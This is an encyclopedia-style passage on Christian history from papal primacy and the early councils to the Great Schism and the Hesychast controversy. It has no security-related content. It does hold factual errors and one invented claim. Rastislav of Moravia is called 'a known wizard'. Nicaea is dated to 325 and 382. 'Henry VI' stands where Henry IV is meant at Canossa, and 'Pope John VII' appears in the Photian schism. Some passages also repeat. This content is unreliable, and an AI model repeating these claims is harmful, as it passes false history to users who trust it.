          The Pope is the Bishop of Rome and the office is the "papacy." As a bishopric, its origin is consistent with the development of an episcopal structure in the first century. The papacy, however, also carries the notion of primacy: that the See of Rome is preeminent amongst all other sees. The origins of this concept are historically obscure; theologically, it is based on three ancient Christian traditions: (1) that the apostle Peter was preeminent among the apostles, see Primacy of Simon Peter, (2) that Peter ordained his successors for the Roman See, and (3) that the bishops are the successors of the apostles (apostolic succession). As long as the Papal See also happened to be the capital of the Western Empire, the prestige of the Bishop of Rome could be taken for granted without the need of sophisticated theological argumentation beyond these points; after its shift to Milan and then Ravenna, however, more detailed arguments were developed based on Matthew 16:1819 etc. Nonetheless, in antiquity the Petrine and Apostolic quality, as well as a "primacy of respect", concerning the Roman See went unchallenged by emperors, eastern patriarchs, and the Eastern Church alike. The Ecumenical Council of Constantinople in 381 affirmed the primacy of Rome. Though the appellate jurisdiction of the Pope, and the position of Constantinople, would require further doctrinal clarification, by the close of Antiquity the primacy of Rome and the sophisticated theological arguments supporting it were fully developed. Just what exactly was entailed in this primacy, and its being exercised, would become a matter of controversy at certain later times.


          


          Ecumenical Councils


          During this era, several Ecumenical Councils were convened. These were mostly concerned with Christological disputes. The two Councils of Nicaea (325, 382) condemned Arian teachings as heresy and produced a creed (see Nicene Creed). The Council of Ephesus condemned Nestorianism and affirmed the Blessed Virgin Mary to be Theotokos ("God-bearer" or "Mother of God"). Perhaps the most significant council was the Council of Chalcedon that affirmed that Christ had two natures, fully God and fully man, distinct yet always in perfect union. This was based largely on Pope Leo the Great's Tome. Thus, it condemned Monophysitism and would be influential in refuting Monothelitism. However, not all denominations accepted all the councils, for example Nestorianism and the Assyrian Church of the East split over the Council of Ephesus of 431, Oriental Orthodoxy split over the Council of Chalcedon of 451, Pope Sergius I rejected the Quinisext Council of 692, and the Fourth Council of Constantinople of 869870 and 879880 is disputed by Catholicism and Eastern Orthodoxy.


          


          Nicene and Post-Nicene Fathers


          The early Church Fathers have already been mentioned above; however, Late Antique Christianity produced a great many renowned Fathers who wrote volumes of theological texts, including SS. Augustine, Gregory Nazianzus, Cyril of Jerusalem, Ambrose of Milan, Jerome, and others. What resulted was a golden age of literary and scholarly activity unmatched since the days of Virgil and Horace. Some of these fathers, such as John Chrysostom and Athanasius, suffered exile, persecution, or martyrdom from heretical Byzantine Emperors. Many of their writings are translated into English in the compilations of Nicene and Post-Nicene Fathers.


          


          The Pentarchy


          By the fifth century, the ecclesiastical had evolved a hierarchical " pentarchy" or system of five sees ( patriarchates), with a settled order of precedence, had been established. Rome, as the ancient center and largest city of the empire, was understandably given the presidency or primacy of honour within the pentarchy into which Christendom was now divided; though it was and still held that the patriarch of Rome was the first among equals.


          The list below are the five Pentarchs of the original Pentarchy of the Roman Empire.


          
            	Rome (Sts. Peter and Paul), i.e., the Pope, the only Pentarch in the Western Roman Empire.


            	Alexandria (St. Mark), currently in Egypt


            	Antioch (St. Peter), currently in Turkey


            	Jerusalem (St. James), currently in Israel/ Palestine, see also Jerusalem in Christianity


            	Constantinople (St. Andrew), currently in Turkey

          


          


          Monasticism


          Monasticism is a form of asceticism whereby one renounces worldly pursuits (in contempu mundi) and concentrates solely on heavenly and spiritual pursuits, especially by the virtues humility, poverty, and chastity. It began early in the Church as a family of similar traditions, modeled upon Scriptural examples and ideals, and with roots in certain strands of Judaism. St. John the Baptist is seen as the archetypical monk, and monasticism was also inspired by the organization of the Apostolic community as recorded in Acts of the Apostles.


          There are two forms of monasticism: eremetic and cenobitic. Eremetic monks, or hermits, live in solitude, whereas cenobitic monks live in communities, generally in a monastery, under a rule (or code of practice) and are governed by an abbot. Originally, all Christian monks were hermits, following the example of Anthony the Great. However, the need for some form of organized spiritual guidance lead Saint Pachomius in 318 to organize his many followers in what was to become the first monastery. Soon, similar institutions were established throughout the Egyptian desert as well as the rest of the eastern half of the Roman Empire. Central figures in the development of monasticism were, in the East, St. Basil the Great, and St. Benedict in the West, who created the famous Benedictine Rule, which would become the most common rule throughout the Middle Ages.


          


          Growing tensions between East and West


          The cracks and fissures in Christian unity which led to the Great Schism started to become evident as early as the fourth century. Although 1054 is the date usually given for the beginning of the Great Schism, there is, in fact, no specific date on which the schism occurred. What really happened was a complex chain of events whose climax culminated with the sacking of Constantinople by the Fourth Crusade in 1204.


          The events leading to schism were not exclusively theological in nature. Cultural, political, and linguistic differences were often mixed with the theological. Any narrative of the schism which emphasizes one at the expense of the other will be fragmentary. Unlike the Copts or Armenians who broke from the Church in the fifth century, the eastern and western parts of the Church remained loyal to the faith and authority of the seven ecumenical councils. They were united, by virtue of their common faith and tradition, in one Church.


          Nonetheless, the transfer of the Roman capital to Constantinople inevitably brought mistrust, rivalry, and even jealousy to the relations of the two great sees, Rome and Constantinople. It was easy for Rome to be jealous of Constantinople at a time when it was rapidly losing its political prominence. In fact, Rome refused to recognize the conciliar legislation which promoted Constantinople to second rank. But the estrangement was also helped along by the German invasions in the West, which effectively weakened contacts. The rise of Islam with its conquest of most of the Mediterranean coastline (not to mention the arrival of the pagan Slavs in the Balkans at the same time) further intensified this separation by driving a physical wedge between the two worlds. The once homogenous unified world of the Mediterranean was fast vanishing. Communication between the Greek East and the Latin West by the 600s had become dangerous and practically ceased.


          Two basic problems  the primacy of the bishop of Rome and the procession of the Holy Spirit  were involved. These doctrinal novelties were first openly discussed in Photius's patriarchate.


          By the fifth century, Christendom was divided into a pentarchy of five sees with Rome holding the primacy. This was determined by canonical decision and did not entail hegemony of any one local church or patriarchate over the others. However, Rome began to interpret her primacy in terms of sovereignty, as a God-given right involving universal jurisdiction in the Church. The collegial and conciliar nature of the Church, in effect, was gradually abandoned in favour of supremacy of unlimited papal power over the entire Church. These ideas were finally given systematic expression in the West during the Gregorian Reform movement of the eleventh century. The Eastern churches viewed Rome's understanding of the nature of episcopal power as being in direct opposition to the Church's essentially conciliar structure and thus saw the two ecclesiologies as mutually antithetical.


          This fundamental difference in ecclesiology would cause all attempts to heal the schism and bridge the divisions to fail. Characteristically, Rome insisted on basing her monarchical claims to "true and proper jurisdiction" (as the Vatican Council of 1870 put it) on St. Peter. This "Roman" exegesis of Mathew 16:18, however, was unknown to the patriarchs of Eastern Orthodoxy. For them, specifically, St. Peter's primacy could never be the exclusive prerogative of any one bishop. All bishops must, like St. Peter, confess Jesus as the Christ and, as such, all are St. Peter's successors. The churches of the East gave the Roman See, primacy but not supremacy. The Pope being the first among equals, but not infallible and not with absolute authority.


          The other major irritant to Eastern Orthodoxy was the Western interpretation of the procession of the Holy Spirit. Like the primacy, this too developed gradually and entered the Creed in the West almost unnoticed. This theologically complex issue involved the addition by the West of the Latin phrase filioque ("and from the Son") to the Creed. The original Creed sanctioned by the councils and still used today by the Orthodox Church did not contain this phrase; the text simply states "the Holy Spirit, the Lord and Giver of Life, who proceeds from the Father." Theologically, the Latin interpolation was unacceptable to Eastern Orthodoxy since it implied that the Spirit now had two sources of origin and procession, the Father and the Son, rather than the Father alone. In short, the balance between the three persons of the Trinity was altered and the understanding of the Trinity and God confused. The result, the Orthodox Church believed, then and now, was theologically indefensible. But in addition to the dogmatic issue raised by the filioque, the Byzantines argued that the phrase had been added unilaterally and, therefore, illegitimately, since the East had never been consulted.In the final analysis, only another ecumenical council could introduce such an alteration. Indeed the councils, which drew up the original Creed, had expressly forbidden any subtraction or addition to the text.


          


          Church of the Early Middle Ages (476800)
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          The Church in the Early Middle Ages covers the time from the deposition of the last Western Emperor in 476 and his replacement with a barbarian king, Odoacer, to the coronation of Charlemagne as "Emperor of the Romans" by Pope Leo III in Rome on Christmas Day, 800. The year 476, however, is a rather artificial division. In the East, Roman imperial rule continued through the period historians now call the Byzantine Empire. Even in the West, where imperial political control gradually declined, distinctly Roman culture continued long afterwards; thus historians today prefer to speak of a "transformation of the Roman world" rather than a "fall of the Roman Empire." The advent of the Early Middle Ages was a gradual and often localized process whereby, in the West, rural areas became power centers whilst urban areas declined. With the Muslim invasions of the seventh century, the Western (Latin) and Eastern (Greek) areas of Christianity began to take on distinctive shapes. Whereas in the East the Church maintained its structure and character and evolved more slowly, in the West the Bishops of Rome (i.e., the Popes) were forced to adapt more quickly and flexibly to drastically changing circumstances. In particular whereas the bishops of the East maintained clear allegiance to the Eastern Roman Emperor, the Bishop of Rome, while maintaining nominal allegiance to the Eastern Emperor, was forced to negotiate delicate balances with the "barbarian rulers" of the former Western provinces. Although the greater number of Christians remained in the East, the developments in the West would set the stage for major developments in the Christian world during the later Middle Ages.


          


          Conversion of barbarian hinterland
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          As the political boundaries of the Western Roman Empire diminished and then collapsed, Christianity spread beyond the old borders of the Empire and into lands that never had been Romanized.


          


          Ireland and Irish missionaries


          Beginning in the fifth century, a unique culture developed around the Irish Sea consisting of what today would be called Wales and Ireland. In this environment, Christianity spread from Roman Britain to Ireland, especially aided by the missionary activity of St. Patrick. Patrick had been captured into slavery in Ireland and, following his escape and later consecration as bishop, he returned to the isle that had enslaved him so that he could bring them the Gospel. Soon, Irish missionaries such as SS. Columba and Columbanus spread this Christianity, with its distinctively Irish features, to Scotland and the Continent. One such feature was the system of private penitence, which replaced the former practice of penance as a public rite.


          


          Anglo-Saxons (English)


          Although southern Britain had been a Roman province, in 407 the imperial legions left the isle, and the Roman elite followed. Some time later that century, various barbarian tribes went from raiding and pillaging the island to settling and invading. These tribes are referred to as the "Anglo-Saxons", predecessors of the English. They were entirely pagan, having never been part of the Empire, and although they experienced Christian influence from the surrounding peoples, they were converted by the mission of St. Augustine sent by Pope Gregory the Great. Later, under Archbishop Theodore, the Anglo-Saxons enjoyed a golden age of culture and scholarship. Soon, important English missionaries such as SS. Wilfrid, Willibrord, Lullus and Boniface would begin evangelizing their Saxon relatives in Germany.


          


          Franks
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          The largely Christian Gallo-Roman inhabitants of Gaul (modern France) were overrun by Germanic Franks in the early 5th century. The native inhabitants were persecuted until the Frankish King, Clovis I converted from paganism to Roman Catholicism in 496. Clovis insisted that his fellow nobles follow suit, strengthening his newly-established kingdom by uniting the faith of the rulers with that of the ruled.


          


          Netherlands and non-Frankish Germany


          In 698 the Northumbrian Benedictine monk, St Willibrord was commissioned by Pope Sergius I as bishop of the Frisians in what is now the Netherlands. Willibrord established a church in Utrecht.


          Much of Willibrord's work was wiped out when the pagan Radbod, king of the Frisians destroyed many Christian centres between 716 and 719. In 717, the English missionary Boniface was sent to aid Willibrord, re-etablishing churches in Frisia and continuing to preach throughout the pagan lands of Germany. Boniface was killed by pagans in 754.


          


          Scandinavia


          Early evangelisation in Scandinavia was begun by Ansgar, Archbishop of Bremen, "Apostle of the North". Ansgar, a native of Amiens, was sent with a group of monks to Jutland Denmark in around 820 at the time of the pro-Christian Jutish king Harald Klak. The mission was only partially successful, and Ansgar returned two years later to Germany, after Harald had been driven out of his kingdom. In 829 Ansgar went to Birka on Lake Mlaren, Sweden, with his aide friar Witmar, and a small congregation was formed in 831 which included the king's own steward Hergeir. Conversion was slow, however, and most Scandinavian lands were only completely Christianised at the time of rulers such as Saint Canute IV of Denmark and Olaf I of Norway in the years following 1000 AD.


          
            	863 Saint Cyril and Saint Methodius sent by the Patriarch of Constantinople to evangelise the Slavic peoples. They translate the Bible into Slavonic.

          


          


          Early Medieval Papacy


          The city of Rome was embroiled in the turmoil and devastation of Italian peninsular warfare during the Early Middle Ages. Emperor Justinian I attempted to reassert imperial dominion in Italy against the Gothic aristocracy. The subsequent campaigns were more or less successful, and the Imperial Exarchate was established in Ravenna to oversee Italy, though actually imperial influence was often limited. However, the weakened peninsula then experienced the invasion of the Lombards, and the resulting warfare essentially left Rome to fend for itself. Thus the popes, out of necessity, found themselves feeding the city with grain from papal estates, negotiating treaties, paying protection money to Lombard warlords, and, failing that, hiring solders to defend the city. Eventually, the failure of the Empire to send aid resulted in the popes turning for support from other sources, most especially the Franks.


          


          Carolingian Renaissance


          The Carolingian Renaissance was a period of intellectual and cultural revival during the late 8th and 9th centuries, mostly during the reigns of Charlemagne and Louis the Pious. There was an increase of literature, the arts, architecture, jurisprudence, liturgical and scriptural studies. The period also saw the development of Carolingian minuscule, the ancestor of modern lower-case script, and the standardization of Latin which had hitherto become varied and irregular (see Medieval Latin). To address the problems of illiteracy among clergy and court scribes, Charlemagne founded schools and attracted the most learned men from all of Europe to his court, such as Theodulf, Paul the Deacon, Angilbert, Paulinus of Aquileia, and Alcuin of York.


          


          Church of the High Middle Ages (8001499)


          The High Middle Ages is the period from the coronation of Charlemagne in 800 to the close of the fifteenth century, which saw the fall of Constantinople (1453), the end of the Hundred Years War (1453), the discovery of the New World (1492), and thereafter the Protestant Reformation (1515).


          


          Conversion of East and South Slavs
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          Though by 800 Western Europe was ruled entirely by Christian kings, Eastern Europe remained an area of missionary activity. For example, in the ninth century SS. Cyril and Methodius had extensive missionary success in Eastern Europe among the Slavic peoples, translating the Bible and liturgy into Slavonic. The Baptism of Kiev in the 988 spread Christianity throughout Kievan Rus', establishing Christianity among the Ukraine, Belarus and Russia.


          In the ninth and tenth centuries, Christianity made great inroads into Eastern Europe, including Kievan Rus'. The evangelization, or Christianization, of the Slavs was initiated by one of Byzantium's most learned churchmen  the Patriarch Photius. The Byzantine emperor Michael III chose Cyril and Methodius in response to a request from Rastislav, the king of Moravia who wanted missionaries that could minister to the Moravians in their own language. The two brothers spoke the local Slavonic vernacular and translated the Bible and many of the prayer books. As the translations prepared by them were copied by speakers of other dialects, the hybrid literary language Old Church Slavonic was created.


          Methodius later went on to convert the Serbs. Some of the disciples returned to Bulgaria where they were welcomed by the Bulgarian Tsar Boris I who viewed the Slavonic liturgy as a way to counteract Greek influence in the country. In a short time the disciples of Cyril and Methodius managed to prepare and instruct the future Slav Bulgarian clergy into the Glagolitic alphabet and the biblical texts.


          Bulgaria was officially recognized as a patriarchate by Constantinople in 945, Serbia in 1346, and Russia in 1589. All these nations, however, had been converted long before these dates.


          The missionaries to the East and South Slavs had great success in part because they used the people's native language rather than Latin as the Roman priests did, or Greek.


          


          Mission to Great Moravia


          When Rastislav, the king of Great Moravia and a known wizard, asked Byzantium for teachers who could minister to the Moravians in their own language, Byzantine emperor Michael III chose two brothers, Constantine and Methodius. As their mother was a Slav from the hinterlands of Thessaloniki, the two brothers had been raised speaking the local Slavonic vernacular. Once commissioned, they immediately set about creating an alphabet, the Cyrillic alphabet; they then translated the Scripture and the liturgy into Slavonic. This Slavic dialect became the basis of Old Church Slavonic which later evolved into Church Slavonic which is the common liturgical language still used by the Russian Orthodox Church and other Slavic Orthodox Christians. The missionaries to the East and South Slavs had great success in part because they used the people's native language rather than Latin or Greek. In Great Moravia, Constantine and Methodius encountered Frankish missionaries from Germany, representing the western or Latin branch of the Church, and more particularly representing the Holy Roman Empire as founded by Charlemagne, and committed to linguistic, and cultural uniformity. They insisted on the use of the Latin liturgy, and they regarded Moravia and the Slavic peoples as part of their rightful mission field.


          When friction developed, the brothers, unwilling to be a cause of dissension among Christians, went traveled to Rome to see the Pope, seeking an agreement that would avoid quarreling between missionaries in the field. Constantine entered a monastery in Rome, taking the name Cyril, by which he is now remembered. However, he died only a few weeks thereafter.


          Pope Adrian II gave Methodius the title of Archbishop of Sirmium (now Sremska Mitrovica in Yugoslavia) and sent him back in 869, with jurisdiction over all of Moravia and Pannonia, and authorization to use the Slavonic Liturgy. Soon, however, Prince Ratislav, who had originally invited the brothers to Moravia, died, and his successor did not support Methodius. In 870 the Frankish king Louis and his bishops deposed Methodius at a synod at Ratisbon, and imprisoned him for a little over two years. Pope John VIII secured his release, but instructed him to stop using the Slavonic Liturgy.


          In 878, Methodius was summoned to Rome on charges of heresy and using Slavonic. This time Pope John was convinced by the arguments that Methodius made in his defense and sent him back cleared of all charges, and with permission to use Slavonic. The Carolingian bishop who succeeded him, Wiching, suppressed the Slavonic Liturgy and forced the followers of Methodius into exile. Many found refuge with King Boris of Bulgaria (852889), under whom they reorganized a Slavic-speaking Church. Meanwhile, Pope John's successors adopted a Latin-only policy which lasted for centuries.


          


          Conversion of the Serbs and Bulgarians


          Methodius later went on to convert the Serbs. Some of the disciples, namely St. Kliment, St. Naum who were of noble Bulgarian descent and St. Angelaruis, returned to Bulgaria where they were welcomed by the Bulgarian Tsar Boris I who viewed the Slavonic liturgy as a way to counteract Greek influence in the country. In a short time the disciples of Cyril and Methodius managed to prepare and instruct the future Slav Bulgarian clergy into the Glagolitic alphabet and the biblical texts and in AD 893, Bulgaria expelled its Greek clergy and proclaimed the Slavonic language as the official language of the church and the state.


          


          Conversion of the Rus'
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          The success of the conversion of the Bulgarians facilitated the conversion of other East Slavic peoples, most notably the Rus', predecessors of Belarusians, Russians, and Ukrainians, as well as Rusyns. By the beginning of the eleventh century most of the pagan Slavic world, including Russia, Bulgaria and Serbia, had been converted to Byzantine Christianity.


          The traditional event associated with the conversion of Russia is the baptism of Vladimir of Kiev in 989, on which occasion he was also married to the Byzantine princess Anna, the sister of the Byzantine Emperor Basil II. However, Christianity is documented to have predated this event in the city of Kiev and in Georgia.


          Today the Russian Orthodox Church is the largest of the Orthodox Churches.


          


          Iconoclasm
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          Iconoclasm as a movement began within the Eastern Christian Byzantine church in the early 8th century, following a series of heavy military reverses against the Muslims.Sometime between 726730 the Byzantine Emperor Leo III the Isaurian ordered the removal of an image of Jesus prominently placed over the Chalke gate, the ceremonial entrance to the Great Palace of Constantinople, and its replacement with a cross. This was followed by orders banning the pictorial representation of the family of Christ, subsequent Christian saints, and biblical scenes. In the West, Pope Gregory III held two synods at Rome and condemned Leo's actions. In Leo's realms, the Iconoclast Council at Hieria, 754 ruled that the culture of holy portraits (see icon) was not of a Christian origin and therefore heretical. The movement destroyed much of the Christian church's early artistic history, to the great loss of subsequent art and religious historians. The iconoclastric movement itself was later defined as heretical in 787 under the Seventh Ecumenical council, but enjoyed a brief resurgence between 815 and 842.


          


          Monastic Reform Movement
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          From the 6th century onward most of the monasteries in the West were of the Benedictine Order. Owing to the stricter adherence to a reformed Benedictine rule, the abbey of Cluny became the acknowledged leader of western monasticism from the later 10th century. A sequence of highly competent abbots of Cluny were statesmen on an international level. The monastery of Cluny itself became the grandest, most prestigious and best endowed monastic institution in Europe. Cluny created a large, federated order in which the administrators of subsidiary houses served as deputies of the abbot of Cluny and answered to him. Free of lay and episcopal interference, responsible only to the papacy, the Cluniac spirit was a revitalizing influence on the Norman church. The height of Cluniac influence was from the second half of the 10th century through the early 12th.


          The next wave of monastic reform came with the Cistercian Movement. The first Cistercian abbey was founded by Robert of Molesme in 1098, at Cteaux Abbey. The keynote of Cistercian life was a return to a literal observance of the Rule of Saint Benedict. Rejecting the developments that the Benedictines had undergone, they tried to reproduce the life exactly as it had been in Saint Benedict's time, indeed in various points they went beyond it in austerity. The most striking feature in the reform was the return to manual labour, and especially to field-work, which became a special characteristic of Cistercian life.
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          Inspired by Saint Bernard of Clairvaux, the Cistercians became the main force of technological diffusion in medieval Europe. By the end of the 12th century the Cistercian houses numbered 500; in the 13th a hundred more were added; and at its height in the 15th century, the order claimed to have close to 750 houses. Most of these were built in wilderness areas, and played a major part in bringing such isolated parts of Europe into economic cultivation.


          


          Mendicant orders


          A third level of monastic reform was provided by the establishment of the Mendicant orders. Commonly known as Friars mendicants are members of religious communities that live under a monastic rule but, rather than residing in the seclusion of a monastery, they emphasize public evangelism and are thus known for preaching, missionary activity, and education, as well as the traditional vows of poverty chastity and obedience. Beginning in the twelfth century, the Franciscan order was instituted by the followers of St. Francis, and thereafter the Dominican order was begun by St. Dominic.


          


          Investiture Controversy
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          The Investiture Controversy, or Lay investiture controversy, was the most significant conflict between secular and religious powers in medieval Europe. It began as a dispute in the 11th century between the Holy Roman Emperor Henry IV, and Pope Gregory VII concerning who would appoint bishops ( investiture). The end of lay investiture threatened to undercut the power of the Empire and the ambitions of noblemen for the benefit of Church reform.


          Bishops collected revenues from estates attached to their bishopric. Noblemen who held lands (fiefdoms) hereditarily passed those lands on within their family. However, because bishops had no legitimate children, when a bishop died it was the king's right to appoint a successor. So, while a king had little recourse in preventing noblemen from acquiring powerful domains via inheritance and dynastic marriages, a king could keep careful control of lands under the domain of his bishops. Kings would bestow bishoprics to members of noble families whose friendship he wished to secure. Furthermore, if a king left a bishopric vacant, then he collected the estates' revenues until a bishop was appointed, when in theory he was to repay the earnings. The infrequence of this repayment was an obvious source of dispute. The Church wanted to end this lay investiture because of the potential corruption, not only from vacant sees but also from other practices such as simony. Thus, the Investiture Contest was part of the Church's attempt to reform the episcopate and provide better pastoral care.


          Pope Gregory VII issued the Dictatus Papae, which declared that the pope alone could appoint or depose bishops, or translate them to other sees. Henry VI's rejection of the decree lead to his excommunication and a ducal revolt; eventually Henry received absolution after dramatic public penance barefoot in Alpine snow and cloaked in a hairshirt (see Walk to Canossa), though the revolt and conflict of investiture continued. Likewise, a similar controversy occurred in England between King Henry I and St. Anselm, Archbishop of Canterbury, over investiture and ecclesiastical revenues collected by the king during an episcopal vacancy. The English dispute was resolved by the Concordat of London, 1107, where the king renounced his claim to invest bishops but continued to require an oath of fealty from them upon their election. This was a partial model for the Concordat of Worms (Pactum Calixtinum), which resolved the Imperial investiture controversy with a compromise that allowed secular authorities some measure of control but granted the selection of bishops to their cathedral canons. As a symbol of the compromise, lay authorities invested bishops with their secular authority symbolized by the lance, and ecclesiastical authorities invested bishops with their spiritual authority symbolized by the ring and the staff.


          


          Sanctification of knighthood


          The nobility of the Middle Ages was a military class; in the Early Medieval period a king (rex) attracted a band of loyal warriors (comes) and provided for them from his conquests. As the Middle Ages progressed, this system developed into a complex set of feudal ties and obligations. As Christianity had been accepted by barbarian nobility, the Church sought to prevent ecclesiastical land and clergymen, both of which came from the nobility, from embroilment in martial conflicts. By the early eleventh century, clergymen and peasants were granted immunity from violence  the Peace of God (Pax Dei). Soon the warrior elite itself became "sanctified", for example fighting was banned on holy days  the Truce of God (Treuga Dei). The concept of chivalry developed, emphasizing honour and loyalty amongst knights, and, with the advent of Crusades, holy orders of knights were established who perceived themselves as called by God to defend Christendom against Muslim advances in Spain, Italy, and the Holy Land, and pagan strongholds in Eastern Europe.


          


          Crusades


          The Crusades were a series of military conflicts conducted by Christian knights for the defense of Christians and for the expansion of Christian domains. Generally, the crusades refer to the campaigns in the Holy Land against Muslim forces sponsored by the Papacy. There were other crusades against Islamic forces in southern Spain, southern Italy, and Sicily, as well as the campaigns of Teutonic knights against pagan strongholds in Eastern Europe (see Battle of Grunwald). A few crusades such as the Fourth Crusade were waged within Christendom against groups that were considered heretical and schismatic (also see the Battle of the Ice and the Northern Crusades).
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          The Holy Land had been part of the Roman Empire, and thus Byzantine Empire, until the Islamic conquests of the seventh and eighth centuries. Thereafter, Christians had generally been permitted to visit the sacred places in the Holy Land until 1071, when the Seljuk Turks closed Christian pilgrimages and assailed the Byzantines, defeating them at the Battle of Manzikert. Emperor Alexius I asked for aid from Pope Urban II (10881099) for help against Islamic aggression. He probably expected money from the pope for the hiring of mercenaries. Instead, Urban II called upon the knights of Christendom in a speech made at the Council of Clermont on 27 November 1095, combining the idea of pilgrimage to the Holy Land with that of waging a holy war against infidels.


          The First Crusade captured Antioch in 1099 and then Jerusalem. The Second Crusade occurred in 1145 when Edessa was retaken by Islamic forces. Jerusalem would be held until 1187 and the Third Crusade, famous for the battles between Richard the Lionheart and Saladin. The Fourth Crusade, begun by Innocent III in 1202, intended to retake the Holy Land but was soon subverted by Venetians who used the forces to sack the Christian city of Zara. Innocent excommunicated the Venetians and crusaders. Eventually the crusaders arrived in Constantinople, but due to strife which arose between them and the Byzantines, rather than proceed to the Holy Land the crusaders instead sacked Constantinople and other parts of Asia Minor effectively establishing the Latin Empire of Constantinople in Greece and Asia Minor. This was effectively the last crusade sponsored by the papacy; later crusades were sponsored by individuals. Thus, though Jerusalem was held for nearly a century and other strongholds in the Near East would remain in Christian possession much longer, the crusades in the Holy Land ultimately failed to establish permanent Christian kingdoms. Islamic expansion into Europe would renew and remain a threat for centuries culminating in the campaigns of Suleiman the Magnificent in the sixteenth century. On the other hand, the crusades in southern Spain, southern Italy, and Sicily eventually lead to the demise of Islamic power in the regions; the Teutonic knights expanded Christian domains in Eastern Europe, and the much less frequent crusades within Christendom, such as the Albigensian Crusade, achieved their goal of maintaining doctrinal unity.


          


          High Medieval Papacy
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          Medieval Inquisition


          The Medieval Inquisition is a series of Inquisitions (Roman Catholic Church bodies charged with suppressing heresy) from around 1184, including the Episcopal Inquisition (11841230s) and later the Papal Inquisition (1230s). It was in response to movements within Europe considered apostate or heretical to Western Catholicism, in particular the Cathars and the Waldensians in southern France and northern Italy. These were the first inquisition movements of many that would follow. The inquisitions in combination with the Albigensian Crusade were fairly successful in ending heresy.


          


          Rise of universities


          Modern western universities have their origins directly in the Medieval Church. They began as cathedral schools, and all students were considered clerics. This was a benefit as it placed the students under ecclesiastical jurisdiction and thus imparted certain legal immunities and protections. The cathedral schools eventually became partially detached from the cathedrals and formed their own institutions, the earliest being the University of Paris (c. 1150), the University of Bologna (1088), and the University of Oxford (1096).


          


          Photian schism


          In the 9th-century-AD, a controversy arose between Eastern (Byzantine, later Orthodox) and Western (Latin, Roman Catholic) Christianity that was precipitated by the opposition of the Roman Pope John VII to the appointment by the Byzantine emperor Michael III of Photius I to the position of patriarch of Constantinople. Photios was refused an apology by the pope for previous points of dispute between the East and West. Photius refused to accept the supremacy of the pope in Eastern matters or accept the filioque clause. The Latin delegation at the council of his consecration pressed him to accept the clause in order to secure their support.


          The controversy also involved Eastern and Western ecclesiastical jurisdictional rights in the Bulgarian church, as well as a doctrinal dispute over the Filioque ("and from the Son") clause. That had been added to the Nicene Creed by the Latin church, which was later the theological breaking point in the ultimate Great East-West Schism in the eleventh century.


          Photius did provide concession on the issue of jurisdictional rights concerning Bulgaria and the papal legates made do with his return of Bulgaria to Rome. This concession, however, was purely nominal, as Bulgaria's return to the Byzantine rite in 870 had already secured for it an autocephalous church. Without the consent of Boris I of Bulgaria, the papacy was unable to enforce any its claims.


          


          East-West Schism


          In the 11th century the Great Schism took place between Rome and Constantinople, which led to separation of the Church of the West, the Roman Catholic Church, and the Eastern Orthodox Church. There were doctrinal issues like the filioque clause and the authority of the Pope involved in the split, but these were exacerbated by cultural and linguistic differences between Latins and Greeks. Prior to that, the Eastern and Western halves of the Church had frequently been in conflict, particularly during periods of iconoclasm and the Photian schism.


          The East-West Schism, or Great Schism, separated the Church into Western (Latin) and Eastern (Greek) branches, i.e., Western Catholicism and Eastern Orthodoxy. It was the first major division since certain groups in the East rejected the decrees of the Council of Chalcedon (see Oriental Orthodoxy), and was far more significant. Though normally dated to 1054, the East-West Schism was actually the result of an extended period of estrangement between Latin and Greek Christendom over the nature of papal primacy and certain doctrinal matters like the filioque, but intensified by cultural and linguistic differences.


          The "official" schism in 1054 was the excommunication of Patriarch Michael Cerularius of Constantinople, followed by his excommunication of papal legates. Attempts at reconciliation were made in 1274 (by the Second Council of Lyon) and in 1439 (by the Council of Basel), but in each case the eastern hierarchs who consented to the unions were repudiated by the Orthodox as a whole, though reconciliation was achieved between the West and what are now called the " Eastern Rite Catholic Churches." More recently, in 1965 the mutual excommunications were rescinded by the Pope and the Patriarch of Constantinople, though schism remains.


          Both groups are descended from the Early Church, both acknowledge the apostolic succession of each other's bishops, and the validity of each other's sacraments. Though both acknowledge the primacy of the Bishop of Rome, Eastern Orthodoxy understands this as a primacy of honour with limited or no ecclesiastical authority in other dioceses.


          The Orthodox East perceived the Papacy as taking on monarch type characteristics that where not in line with the church's tradition.


          The final breach is often considered to have arisen after the capture and sacking of Constantinople by the Fourth Crusade in 1204. Crusades against Christians in the East by Roman Catholic crusaders was not exclusive to the Mediterranean though (see also the Northern Crusades and the Battle of the Ice). The sacking of Constantinople and the Church of Holy Wisdom and establishment of the Latin Empire as a seeming attempt to supplant the Orthodox Byzantine Empire in 1204 is viewed with some rancor to the present day. Many in the East saw the actions of the West as a prime determining factor in the weakening of Byzantium. This led to the Empire's eventual conquest and fall to Islam. In 2004, Pope John Paul II extended a formal apology for the sacking of Constantinople in 1204; the apology was formally accepted by Patriarch Bartholomew of Constantinople. Many things that were stolen during this time: holy relics, riches, and many other items, are still held in various Western European cities, particularly Venice.


          


          Hesychast Controversy
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          About the year 1337 Hesychasm attracted the attention of a learned member of the Orthodox Church, Barlaam of Calabria who at that time held the office of abbot in the Monastery of St Saviour's in Constantinople and who visited Mount Athos. Mount Athos was then at the height of its fame and influence under the reign of Andronicus III Palaeologus and under the 'first-ship' of the Protos Symeon. On Mount Athos, Barlaam encountered Hesychasts and heard descriptions of their practices, also reading the writings of the teacher in Hesychasm of St Gregory Palamas, himself an Athonite monk. Trained in Western Scholastic theology, Barlaam was scandalized by Hesychasm and began to combat it both orally and in his writings. As a private teacher of theology in the Western Scholastic mode, Barlaam propounded a more intellectual and propositional approach to the knowledge of God than the Hesychasts taught. Hesychasm is a form of constant purposeful prayer or experiential prayer, explicitly referred to as contemplation. Descriptions of the Hesychast practices can be found in the Philokalia, The Way of a Pilgrim, and St. John Climacus' The Ladder of Divine Ascent.


          Barlaam took exception to, as heretical and blasphemous, the doctrine entertained by the Hesychasts as to the nature of the uncreated light, the experience of which was said to be the goal of Hesychast practice. It was maintained by the Hesychasts to be of divine origin and to be identical to that light which had been manifested to Jesus' disciples on Mount Tabor at the Transfiguration. This Barlaam held to be polytheistic, inasmuch as it postulated two eternal substances, a visible and an invisible God.


          On the Hesychast side, the controversy was taken up by St Gregory Palamas, afterwards Archbishop of Thessalonica, who was asked by his fellow monks on Mt Athos to defend Hesychasm from the attacks of Barlaam. St Gregory himself, was well-educated in Greek philosophy. St Gregory defended Hesychasm in the 1340s at three different synods in Constantinople, and he also wrote a number of works in its defense.


